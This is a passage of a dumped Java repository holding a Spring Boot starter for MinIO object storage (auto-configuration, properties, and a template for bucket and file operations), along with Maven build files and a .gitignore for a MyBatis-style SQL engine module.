<dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n    <distributionManagement>\n        <snapshotRepository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/content/repositories/snapshots</url>\n        </snapshotRepository>\n        <repository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n        </repository>\n    </distributionManagement>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.2.1</version>\n                <executions>\n                    <execution>\n                        <id>attach-sources</id>\n                        <goals>\n                            <goal>jar-no-fork</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>3.2.0</version>\n                <configuration>\n                    <show>package</show>\n                    <tags>\n                        <tag>\n                            <name>date</name>\n                        </tag>\n                    </tags>\n                </configuration>\n                <executions>\n                    <execution>\n                        <id>attach-javadocs</id>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                        <configuration>\n                            <doclint>none</doclint>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>\n            <!--<plugin>\n                 <groupId>org.apache.maven.plugins</groupId>\n                 <artifactId>maven-gpg-plugin</artifactId>\n                 <version>1.0</version>\n                 <executions>\n                     <execution>\n                         <id>sign-artifacts</id>\n                         <phase>verify</phase>\n                         <goals>\n                             <goal>sign</goal>\n                         </goals>\n                     </execution>\n                 </executions>\n             </plugin> -->\n\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_starter/jun-minio-spring-boot-starter/src/main/java/io/github/wujun728/minio/MinioAutoConfiguration.java",
    "content": "package io.github.wujun728.minio;\n\nimport io.minio.BucketExistsArgs;\nimport io.minio.MakeBucketArgs;\nimport io.minio.MinioClient;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport javax.annotation.Resource;\n\n/**\n * Minio 自动配置\n *\n * @author lihao3\n * @version 1.0.0\n */\n@Configuration\n@ConditionalOnClass(MinioClient.class)\n@EnableConfigurationProperties(MinioAutoProperties.class)\npublic class MinioAutoConfiguration {\n\n    private static final Logger log = LoggerFactory.getLogger(MinioAutoConfiguration.class);\n\n    @Resource\n    private MinioAutoProperties minioAutoProperties;\n\n    @Bean\n    public MinioClient minioClient() {\n        log.info(\"开始初始化MinioClient, url为{}, accessKey为:{}\", minioAutoProperties.getUrl(), minioAutoProperties.getAccessKey());\n        MinioClient minioClient = MinioClient\n                .builder()\n                .endpoint(minioAutoProperties.getUrl())\n                .credentials(minioAutoProperties.getAccessKey(), minioAutoProperties.getSecretKey())\n                .build();\n\n        minioClient.setTimeout(\n                minioAutoProperties.getConnectTimeout(),\n                minioAutoProperties.getWriteTimeout(),\n                minioAutoProperties.getReadTimeout()\n        );\n        // Start detection\n        if (minioAutoProperties.isCheckBucket()) {\n            log.info(\"checkBucket为{}, 开始检测桶是否存在\", minioAutoProperties.isCheckBucket());\n            String bucketName = minioAutoProperties.getBucket();\n            if (!checkBucket(bucketName, minioClient)) {\n                log.info(\"文件桶[{}]不存在, 开始检查是否可以新建桶\", bucketName);\n                if (minioAutoProperties.isCreateBucket()) {\n                    log.info(\"createBucket为{},开始新建文件桶\", minioAutoProperties.isCreateBucket());\n                    createBucket(bucketName, minioClient);\n                }\n            }\n            log.info(\"文件桶[{}]已存在, minio客户端连接成功!\", bucketName);\n        } else {\n            throw new RuntimeException(\"桶不存在, 请检查桶名称是否正确或者将checkBucket属性改为false\");\n        }\n        return minioClient;\n    }\n\n    private boolean checkBucket(String bucketName, MinioClient minioClient) {\n        boolean isExists = false;\n        try {\n            isExists = minioClient.bucketExists(BucketExistsArgs.builder().bucket(bucketName).build());\n        } catch (Exception e) {\n            throw new RuntimeException(\"failed to check if the bucket exists\", e);\n        }\n        return isExists;\n    }\n\n    private void createBucket(String bucketName, MinioClient minioClient) {\n        try {\n            minioClient.makeBucket(MakeBucketArgs.builder().bucket(bucketName).build());\n            log.info(\"文件桶[{}]新建成功, minio客户端已连接\", bucketName);\n        } catch (Exception e) {\n            throw new RuntimeException(\"failed to create default bucket\", e);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-minio-spring-boot-starter/src/main/java/io/github/wujun728/minio/MinioAutoProperties.java",
    "content": "package io.github.wujun728.minio;\n\nimport org.hibernate.validator.constraints.URL;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\nimport org.springframework.validation.annotation.Validated;\n\nimport javax.validation.constraints.NotEmpty;\n\n/**\n * Minio 配置属性\n *\n * @author lihao3\n * @version 1.0.0\n */\n@Validated\n@Component\n@ConfigurationProperties(prefix = \"minio\")\npublic class MinioAutoProperties {\n\n    /**\n     * 服务地址\n     */\n    @NotEmpty(message = \"minio服务地址不可为空\")\n    @URL(message = \"minio服务地址格式错误\")\n    private String url;\n\n    /**\n     * 认证账户\n     */\n    @NotEmpty(message = \"minio认证账户不可为空\")\n    private String accessKey;\n\n    /**\n     * 认证密码\n     */\n    @NotEmpty(message = \"minio认证密码不可为空\")\n    private String secretKey;\n\n    /**\n     * 桶名称, 优先级最低\n     */\n    private String bucket;\n\n    /**\n     * 桶不在的时候是否新建桶\n     */\n    private boolean createBucket = true;\n\n    /**\n     * 启动的时候检查桶是否存在\n     */\n    private boolean checkBucket = true;\n\n    /**\n     * 设置HTTP连接、写入和读取超时。值为0意味着没有超时\n     * HTTP连接超时，以毫秒为单位。\n     */\n    private long connectTimeout;\n\n    /**\n     * 设置HTTP连接、写入和读取超时。值为0意味着没有超时\n     * HTTP写超时，以毫秒为单位。\n     */\n    private long writeTimeout;\n\n    /**\n     * 设置HTTP连接、写入和读取超时。值为0意味着没有超时\n     * HTTP读取超时，以毫秒为单位。\n     */\n    private long readTimeout;\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public String getAccessKey() {\n        return accessKey;\n    }\n\n    public void setAccessKey(String accessKey) {\n        this.accessKey = accessKey;\n    }\n\n    public String getSecretKey() {\n        return secretKey;\n    }\n\n    public void setSecretKey(String secretKey) {\n        this.secretKey = secretKey;\n    }\n\n    public String getBucket() {\n        return bucket;\n    }\n\n    public void setBucket(String bucket) {\n        this.bucket = bucket;\n    }\n\n    public boolean isCreateBucket() {\n        return createBucket;\n    }\n\n    public void setCreateBucket(boolean createBucket) {\n        this.createBucket = createBucket;\n    }\n\n    public boolean isCheckBucket() {\n        return checkBucket;\n    }\n\n    public void setCheckBucket(boolean checkBucket) {\n        this.checkBucket = checkBucket;\n    }\n\n    public long getConnectTimeout() {\n        return connectTimeout;\n    }\n\n    public void setConnectTimeout(long connectTimeout) {\n        this.connectTimeout = connectTimeout;\n    }\n\n    public long getWriteTimeout() {\n        return writeTimeout;\n    }\n\n    public void setWriteTimeout(long writeTimeout) {\n        this.writeTimeout = writeTimeout;\n    }\n\n    public long getReadTimeout() {\n        return readTimeout;\n    }\n\n    public void setReadTimeout(long readTimeout) {\n        this.readTimeout = readTimeout;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-minio-spring-boot-starter/src/main/java/io/github/wujun728/minio/server/MinioTemplate.java",
    "content": "package io.github.wujun728.minio.server;\n\nimport io.minio.messages.Bucket;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.File;\nimport java.io.InputStream;\nimport java.util.List;\nimport java.util.Optional;\n\n/**\n * Minio server interface\n *\n * @author lihao3\n * @version 1.0.0\n */\npublic interface MinioTemplate {\n\n    /**\n     * 判断桶是否存在\n     *\n     * @param bucketName bucket名称\n     * @return true存在，false不存在\n     */\n    Boolean bucketExists(String bucketName);\n\n    /**\n     * 创建bucket\n     *\n     * @param bucketName bucket名称\n     */\n    void createBucket(String bucketName);\n\n    /**\n     * 上传MultipartFile文件到全局默认文件桶中\n     *\n     * @param file 文件\n     * @return 文件对应的URL\n     */\n    String putObject(MultipartFile file);\n\n    /**\n     * 上传文件\n     *\n     * @param objectName  文件名\n     * @param inputStream 文件流\n     * @param contentType 文件类型\n     * @return 文件url\n     */\n    String putObject(String objectName, InputStream inputStream, String contentType);\n\n    /**\n     * 上传bytes文件\n     *\n     * @param objectName  文件名\n     * @param bytes       字节\n     * @param contentType 文件类型\n     * @return 文件url\n     */\n    String putObject(String objectName, byte[] bytes, String contentType);\n\n    /**\n     * 上传File文件\n     *\n     * @param objectName  文件名\n     * @param file        文件\n     * @param contentType 文件类型\n     * @return 文件url\n     */\n    String putObject(String objectName, File file, String contentType);\n\n    /**\n     * 上传MultipartFile文件到全局默认文件桶下的folder文件夹下\n     *\n     * @param objectName 文件名称, 如果要带文件夹请用 / 分割, 例如 /help/index.html\n     * @param file       文件\n     * @return 文件对应的URL\n     */\n    String putObject(String objectName, MultipartFile file);\n\n    /**\n     * 上传MultipartFile文件到指定的文件桶下\n     *\n     * @param bucketName 桶名称\n     * @param objectName 文件名称, 如果要带文件夹请用 / 分割, 例如 /help/index.html\n     * @param file       文件\n     * @return 文件对应的URL\n     */\n    String putObject(String bucketName, String objectName, MultipartFile file);\n\n    /**\n     * 上传流到指定的文件桶下\n     *\n     * @param bucketName  桶名称\n     * @param objectName  文件名称, 如果要带文件夹请用 / 分割, 例如 /help/index.html\n     * @param inputStream 文件流\n     * @param contentType 文件类型, 例如 image/jpeg: jpg图片格式, 详细可看: https://www.runoob.com/http/http-content-type.html\n     * @return 文件对应的URL\n     */\n    String putObject(String bucketName, String objectName, InputStream inputStream, String contentType);\n\n    /**\n     * 上传流到指定的文件桶下\n     *\n     * @param bucketName  桶名称\n     * @param objectName  文件名称, 如果要带文件夹请用 / 分割, 例如 /help/index.html\n     * @param bytes       字节\n     * @param contentType 文件类型, 例如 image/jpeg: jpg图片格式, 详细可看: https://www.runoob.com/http/http-content-type.html\n     * @return 文件对应的URL\n     */\n    String putObject(String bucketName, String objectName, byte[] bytes, String contentType);\n\n    /**\n     * 上传File文件\n     *\n     * @param bucketName  文件桶\n     * @param objectName  文件名\n     * @param file        文件\n     * @param contentType 文件类型, 例如 image/jpeg: jpg图片格式, 详细可看: https://www.runoob.com/http/http-content-type.html\n     * @return 文件对应的URL\n     */\n    String putObject(String bucketName, String objectName, File file, String contentType);\n\n    /**\n     * 判断文件是否存在\n     *\n     * @param objectName 文件名称, 如果要带文件夹请用 / 分割, 例如 /help/index.html\n     * @return true存在, 反之\n     */\n    Boolean checkFileIsExist(String objectName);\n\n    /**\n     * 判断文件夹是否存在\n     *\n     * @param folderName 文件夹名称\n     * @return true存在, 反之\n     */\n    Boolean checkFolderIsExist(String folderName);\n\n    /**\n     * 判断文件是否存在\n     *\n     * @param bucketName 桶名称\n     * @param objectName 文件名称, 如果要带文件夹请用 / 分割, 例如 /help/index.html\n     * @return true存在, 反之\n     */\n    Boolean checkFileIsExist(String bucketName, String objectName);\n\n    /**\n     * 判断文件夹是否存在\n     *\n     * @param bucketName 桶名称\n     * @param folderName 文件夹名称\n     * @return true存在, 反之\n     */\n    Boolean checkFolderIsExist(String bucketName, String folderName);\n\n    /**\n     * 根据文件全路径获取文件流\n     *\n     * @param objectName 文件名称\n     * @return 文件流\n     */\n    InputStream getObject(String objectName);\n\n    /**\n     * 根据文件桶和文件全路径获取文件流\n     *\n     * @param bucketName 桶名称\n     * @param objectName 文件名\n     * @return 文件流\n     */\n    InputStream getObject(String bucketName, String objectName);\n\n    /**\n     * 根据url获取文件流\n     *\n     * @param url 文件对于URL\n     * @return 文件流\n     */\n    InputStream getObjectByUrl(String url);\n\n    /**\n     * 获取全部bucket\n     *\n     * @return 所有桶信息\n     */\n    List<Bucket> getAllBuckets();\n\n    /**\n     * 根据bucketName获取信息\n     *\n     * @param bucketName bucket名称\n     * @return 单个桶信息\n     */\n    Optional<Bucket> getBucket(String bucketName);\n\n    /**\n     * 根据bucketName删除信息\n     *\n     * @param bucketName bucket名称\n     */\n    void removeBucket(String bucketName);\n\n    /**\n     * 删除文件\n     *\n     * @param objectName 文件名称\n     */\n    void removeObject(String objectName);\n\n    /**\n     * 删除文件\n     *\n     * @param bucketName bucket名称\n     * @param objectName 文件名称\n     */\n    void removeObject(String bucketName, String objectName);\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-minio-spring-boot-starter/src/main/java/io/github/wujun728/minio/server/MinioTemplateImpl.java",
    "content": "package io.github.wujun728.minio.server;\n\nimport io.github.wujun728.minio.MinioAutoProperties;\nimport io.minio.*;\nimport io.minio.messages.Bucket;\nimport io.minio.messages.Item;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport javax.annotation.Resource;\nimport java.io.*;\nimport java.net.URL;\nimport java.util.List;\nimport java.util.Objects;\nimport java.util.Optional;\n\n/**\n * Minio server interface impl\n *\n * @author lihao3\n * @version 1.0.0\n */\n@Service\npublic class MinioTemplateImpl implements MinioTemplate {\n\n    private static final Logger log = LoggerFactory.getLogger(MinioTemplateImpl.class);\n\n    @Resource\n    private MinioClient minioClient;\n\n    @Resource\n    private MinioAutoProperties minioAutoProperties;\n\n    @Override\n    public Boolean bucketExists(String bucketName) {\n        try {\n            return minioClient.bucketExists(BucketExistsArgs.builder().bucket(bucketName).build());\n        } catch (Exception e) {\n            throw new RuntimeException(\"检查桶是否存在失败!\", e);\n        }\n    }\n\n    @Override\n    public void createBucket(String bucketName) {\n        if (!this.bucketExists(bucketName)) {\n            try {\n                minioClient.makeBucket(MakeBucketArgs.builder().bucket(bucketName).build());\n            } catch (Exception e) {\n                throw new RuntimeException(\"创建桶失败!\", e);\n            }\n        }\n    }\n\n    @Override\n    public String putObject(MultipartFile file) {\n        // 给文件名添加时间戳防止重复\n        String fileName = getFileName(Objects.requireNonNull(file.getOriginalFilename()));\n        // 开始上传\n        this.putMultipartFile(minioAutoProperties.getBucket(), fileName, file);\n        return minioAutoProperties.getUrl() + \"/\" + minioAutoProperties.getBucket() + \"/\" + fileName;\n    }\n\n    @Override\n    public String putObject(String objectName, InputStream inputStream, String contentType) {\n        // 给文件名添加时间戳防止重复\n        String fileName = getFileName(objectName);\n        // 开始上传\n        this.putInputStream(minioAutoProperties.getBucket(), fileName, inputStream, contentType);\n        return minioAutoProperties.getUrl() + \"/\" + minioAutoProperties.getBucket() + \"/\" + fileName;\n    }\n\n    @Override\n    public String putObject(String objectName, byte[] bytes, String contentType) {\n        // 给文件名添加时间戳防止重复\n        String fileName = getFileName(objectName);\n        // 开始上传\n        this.putBytes(minioAutoProperties.getBucket(), fileName, bytes, contentType);\n        return minioAutoProperties.getUrl() + \"/\" + minioAutoProperties.getBucket() + \"/\" + fileName;\n    }\n\n    @Override\n    public String putObject(String objectName, MultipartFile file) {\n        // 给文件名添加时间戳防止重复\n        objectName = getFileName(objectName);\n        // 开始上传\n        this.putMultipartFile(minioAutoProperties.getBucket(), objectName, file);\n        return minioAutoProperties.getUrl() + \"/\" + minioAutoProperties.getBucket() + \"/\" + objectName;\n    }\n\n    @Override\n    public String putObject(String bucketName, String objectName, MultipartFile file) {\n        // 先创建桶\n        this.createBucket(bucketName);\n        // 给文件名添加时间戳防止重复\n        objectName = getFileName(objectName);\n        // 开始上传\n        this.putMultipartFile(bucketName, objectName, file);\n        return minioAutoProperties.getUrl() + \"/\" + bucketName + \"/\" + objectName;\n    }\n\n    @Override\n    public String putObject(String bucketName, String objectName, InputStream inputStream, String contentType) {\n        // 先创建桶\n        this.createBucket(bucketName);\n        // 给文件名添加时间戳防止重复\n        String fileName = getFileName(objectName);\n        // 开始上传\n        this.putInputStream(bucketName, fileName, inputStream, contentType);\n        return minioAutoProperties.getUrl() + \"/\" + bucketName + \"/\" + fileName;\n    }\n\n    @Override\n    public String putObject(String bucketName, String objectName, byte[] bytes, String contentType) {\n        // 先创建桶\n        this.createBucket(bucketName);\n        // 给文件名添加时间戳防止重复\n        String fileName = getFileName(objectName);\n        // 开始上传\n        this.putBytes(bucketName, fileName, bytes, contentType);\n        return minioAutoProperties.getUrl() + \"/\" + bucketName + \"/\" + fileName;\n    }\n\n    @Override\n    public String putObject(String objectName, File file, String contentType) {\n        // 给文件名添加时间戳防止重复\n        String fileName = getFileName(objectName);\n        // 开始上传\n        this.putFile(minioAutoProperties.getBucket(), fileName, file, contentType);\n        return minioAutoProperties.getUrl() + \"/\" + minioAutoProperties.getBucket() + \"/\" + fileName;\n    }\n\n    @Override\n    public String putObject(String bucketName, String objectName, File file, String contentType) {\n        // 先创建桶\n        this.createBucket(bucketName);\n        // 给文件名添加时间戳防止重复\n        String fileName = getFileName(objectName);\n        // 开始上传\n        this.putFile(bucketName, fileName, file, contentType);\n        return minioAutoProperties.getUrl() + \"/\" + bucketName + \"/\" + fileName;\n    }\n\n    @Override\n    public Boolean checkFileIsExist(String objectName) {\n        return this.checkFileIsExist(minioAutoProperties.getBucket(), objectName);\n    }\n\n    @Override\n    public Boolean checkFolderIsExist(String folderName) {\n        return this.checkFolderIsExist(minioAutoProperties.getBucket(), folderName);\n    }\n\n    @Override\n    public Boolean checkFileIsExist(String bucketName, String objectName) {\n        boolean exist = true;\n        try {\n            minioClient.statObject(\n                    StatObjectArgs.builder().bucket(bucketName).object(objectName).build()\n            );\n        } catch (Exception e) {\n            exist = false;\n        }\n        return exist;\n    }\n\n    @Override\n    public Boolean checkFolderIsExist(String bucketName, String folderName) {\n        boolean exist = false;\n        try {\n            Iterable<Result<Item>> results = minioClient.listObjects(\n                    ListObjectsArgs\n                            .builder()\n                            .bucket(minioAutoProperties.getBucket())\n                            .prefix(folderName).recursive(false).build());\n            for (Result<Item> result : results) {\n                Item item = result.get();\n                if (item.isDir() && folderName.equals(item.objectName())) {\n                    exist = true;\n                }\n            }\n        } catch (Exception e) {\n            exist = false;\n        }\n        return exist;\n    }\n\n    @Override\n    public InputStream getObject(String objectName) {\n        return this.getObject(minioAutoProperties.getBucket(), objectName);\n    }\n\n    @Override\n    public InputStream getObject(String bucketName, String objectName) {\n        try {\n            return minioClient\n                    .getObject(GetObjectArgs.builder().bucket(bucketName).object(objectName).build());\n        } catch (Exception e) {\n            throw new RuntimeException(\"根据文件名获取流失败!\", e);\n        }\n    }\n\n    @Override\n    public InputStream getObjectByUrl(String url) {\n        try {\n            return new URL(url).openStream();\n        } catch (IOException e) {\n            throw new RuntimeException(\"根据URL获取流失败!\", e);\n        }\n    }\n\n    @Override\n    public List<Bucket> getAllBuckets() {\n        try {\n            return minioClient.listBuckets();\n        } catch (Exception e) {\n            throw new RuntimeException(\"获取全部存储桶失败!\", e);\n        }\n    }\n\n    @Override\n    public Optional<Bucket> getBucket(String bucketName) {\n        try {\n            return minioClient.listBuckets().stream().filter(b -> b.name().equals(bucketName)).findFirst();\n        } catch (Exception e) {\n            throw new RuntimeException(\"根据存储桶名称获取信息失败!\", e);\n        }\n    }\n\n    @Override\n    public void removeBucket(String bucketName) {\n        try {\n            minioClient.removeBucket(RemoveBucketArgs.builder().bucket(bucketName).build());\n        } catch (Exception e) {\n            throw new RuntimeException(\"根据存储桶名称删除桶失败!\", e);\n        }\n    }\n\n    @Override\n    public void removeObject(String objectName) {\n        this.removeObject(minioAutoProperties.getBucket(), objectName);\n    }\n\n    @Override\n    public void removeObject(String bucketName, String objectName) {\n        try {\n            minioClient.removeObject(RemoveObjectArgs.builder().bucket(bucketName).object(objectName).build());\n        } catch (Exception e) {\n            throw new RuntimeException(\"删除文件失败!\", e);\n        }\n    }\n\n    /**\n     * 上传MultipartFile通用方法\n     *\n     * @param bucketName 桶名称\n     * @param objectName 文件名\n     * @param file       文件\n     */\n    private void putMultipartFile(String bucketName, String objectName, MultipartFile file) {\n        InputStream inputStream = null;\n        try {\n            inputStream = file.getInputStream();\n        } catch (IOException e) {\n            throw new RuntimeException(\"文件流获取错误\", e);\n        }\n        try {\n            minioClient.putObject(\n                    PutObjectArgs.builder()\n                            .bucket(bucketName)\n                            .object(objectName)\n                            .contentType(file.getContentType())\n                            .stream(inputStream, inputStream.available(), -1)\n                            .build()\n            );\n        } catch (Exception e) {\n            throw new RuntimeException(\"文件流上传错误\", e);\n        }\n    }\n\n    /**\n     * 上传InputStream通用方法\n     *\n     * @param bucketName  桶名称\n     * @param objectName  文件名\n     * @param inputStream 文件流\n     */\n    private void putInputStream(String bucketName, String objectName, InputStream inputStream, String contentType) {\n        try {\n            minioClient.putObject(\n                    PutObjectArgs.builder()\n                            .bucket(bucketName)\n                            .object(objectName)\n                            .contentType(contentType)\n                            .stream(inputStream, inputStream.available(), -1)\n                            .build()\n            );\n        } catch (Exception e) {\n            throw new RuntimeException(\"文件流上传错误\", e);\n        }\n    }\n\n    /**\n     * 上传 bytes 通用方法\n     *\n     * @param bucketName 桶名称\n     * @param objectName 文件名\n     * @param bytes      字节编码\n     */\n    private void putBytes(String bucketName, String objectName, byte[] bytes, String contentType) {\n        // 字节转文件流\n        InputStream inputStream = new ByteArrayInputStream(bytes);\n        try {\n            minioClient.putObject(\n                    PutObjectArgs.builder()\n                            .bucket(bucketName)\n                            .object(objectName)\n                            .contentType(contentType)\n                            .stream(inputStream, inputStream.available(), -1)\n                            .build()\n            );\n        } catch (Exception e) {\n            throw new RuntimeException(\"文件流上传错误\", e);\n        }\n    }\n\n    /**\n     * 上传 file 通用方法\n     *\n     * @param bucketName\n     * @param objectName\n     * @param file\n     * @param contentType\n     */\n    private void putFile(String bucketName, String objectName, File file, String contentType) {\n        try {\n            FileInputStream fileInputStream = new FileInputStream(file);\n            minioClient.putObject(\n                    PutObjectArgs.builder()\n                            .bucket(bucketName)\n                            .object(objectName)\n                            .contentType(contentType)\n                            .stream(fileInputStream, fileInputStream.available(), -1)\n                            .build()\n            );\n        } catch (Exception e) {\n            throw new RuntimeException(\"文件上传错误\", e);\n        }\n    }\n\n    /**\n     * 生成唯一ID\n     *\n     * @param objectName\n     * @return\n     */\n    private static String getFileName(String objectName) {\n        //判断文件最后一个点所在的位置\n        int lastIndexOf = objectName.lastIndexOf(\".\");\n        if (lastIndexOf == -1) {\n            return String.format(\"%s_%s\", objectName, System.currentTimeMillis());\n        } else {\n            // 获取文件前缀,已最后一个点进行分割\n            String filePrefix = objectName.substring(0, objectName.lastIndexOf(\".\"));\n            // 获取文件后缀,已最后一个点进行分割\n            String fileSuffix = objectName.substring(objectName.lastIndexOf(\".\") + 1);\n            // 组成唯一文件名\n            return String.format(\"%s_%s.%s\", filePrefix, System.currentTimeMillis(), fileSuffix);\n        }\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-minio-spring-boot-starter/src/main/resources/META-INF/spring.factories",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.minio.MinioAutoConfiguration,io.github.wujun728.minio.server.MinioTemplateImpl"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/.gitignore",
    "content": "*.class\n.DS_Store\napplication.pid\n\n# Mobile Tools for Java (J2ME)\n.mtj.tmp/\n\n# Package Files #\n# *.jar\n*.war\n*.ear\n\n# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml\nhs_err_pid*\n\n# Eclipse\n.classpath\n.project\ntarget\nclasses\nbin\n.settings\n.factorypath\n\n# Idea\n.idea\n*.iml\n\n# git\n*.orig\n/log\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <!--<parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>jun_springboot_starter</artifactId>\n        <version>1.0.25</version>\n    </parent>-->\n    <groupId>io.github.wujun728</groupId>\n    <version>1.0.25</version>\n    <artifactId>jun-mybatis-sql-engine</artifactId>\n    <name>jun-mybatis-sql-engine</name>\n    <description>dynamic sql engine tool</description>\n    <url>https://github.com/wujun728/jun-spring-boot-starter/jun-mybatis-sql-engine</url>\n    \n    \n   \t<properties>\n\t\t<java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n    <developers>\n\t\t<developer>\n\t\t\t<name>wujun728</name>\n\t\t\t<email>wujun728@163.com</email>\n\t\t\t<url>https://github.com/wujun728/jun-spring-boot-starter/jun-mybatis-sql-engine</url>\n\t\t</developer>\n\t</developers>\n\n\t<scm>\n\t\t<url>https://github.com/wujun728/jun-spring-boot-starter/jun-mybatis-sql-engine.git</url>\n\t\t<connection>scm:git:github.com/wujun728/jun-spring-boot-starter/jun-mybatis-sql-engine.git</connection>\n\t\t<developerConnection>scm:git:github.com/wujun728/jun-spring-boot-starter/jun-mybatis-sql-engine.git</developerConnection>\n\t</scm>\n\n\t<licenses>\n\t\t<license>\n\t\t\t<name>The Apache Software License, Version 2.0</name>\n\t\t\t<url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n\t\t\t<distribution>repo</distribution>\n\t\t</license>\n\t</licenses>\n\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.2.1</version>\n                <executions>\n                    <execution>\n                        <id>attach-sources</id>\n                        <goals>\n                            <goal>jar-no-fork</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <!--<plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>3.2.0</version>\n                <configuration>\n                    <show>package</show>\n                    <source>8</source>\n                    <tags>\n                        <tag>\n                            <name>date</name>\n                        </tag>\n                    </tags>\n                </configuration>\n                <executions>\n                    <execution>\n                        <id>attach-javadocs</id>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                        <configuration>\n                            <doclint>none</doclint>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>-->\n            <!--\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-gpg-plugin</artifactId>\n                <version>1.0</version>\n                <executions>\n                    <execution>\n                        <id>sign-artifacts</id>\n                        <phase>verify</phase>\n                        <goals>\n                            <goal>sign</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            -->\n        </plugins>\n    </build>\n\n    <dependencies>\n        <dependency>\n            <groupId>dom4j</groupId>\n            <artifactId>dom4j</artifactId>\n            <version>1.6.1</version>\n        </dependency>\n        <dependency>\n            <groupId>ognl</groupId>\n            <artifactId>ognl</artifactId>\n            <version>3.0.12</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.18.0</version>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.13.2</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n            <version>2.3.3</version>\n        </dependency>\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>5.8.41</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.38</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>1.2.24</version>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>com.zaxxer</groupId>\n            <artifactId>HikariCP</artifactId>\n            <version>4.0.3</version>\n            <optional>true</optional>\n        </dependency>\n\n    </dependencies>\n\n    <distributionManagement>\n        <snapshotRepository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/content/repositories/snapshots</url>\n        </snapshotRepository>\n        <repository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n        </repository>\n    </distributionManagement>\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/readme.md",
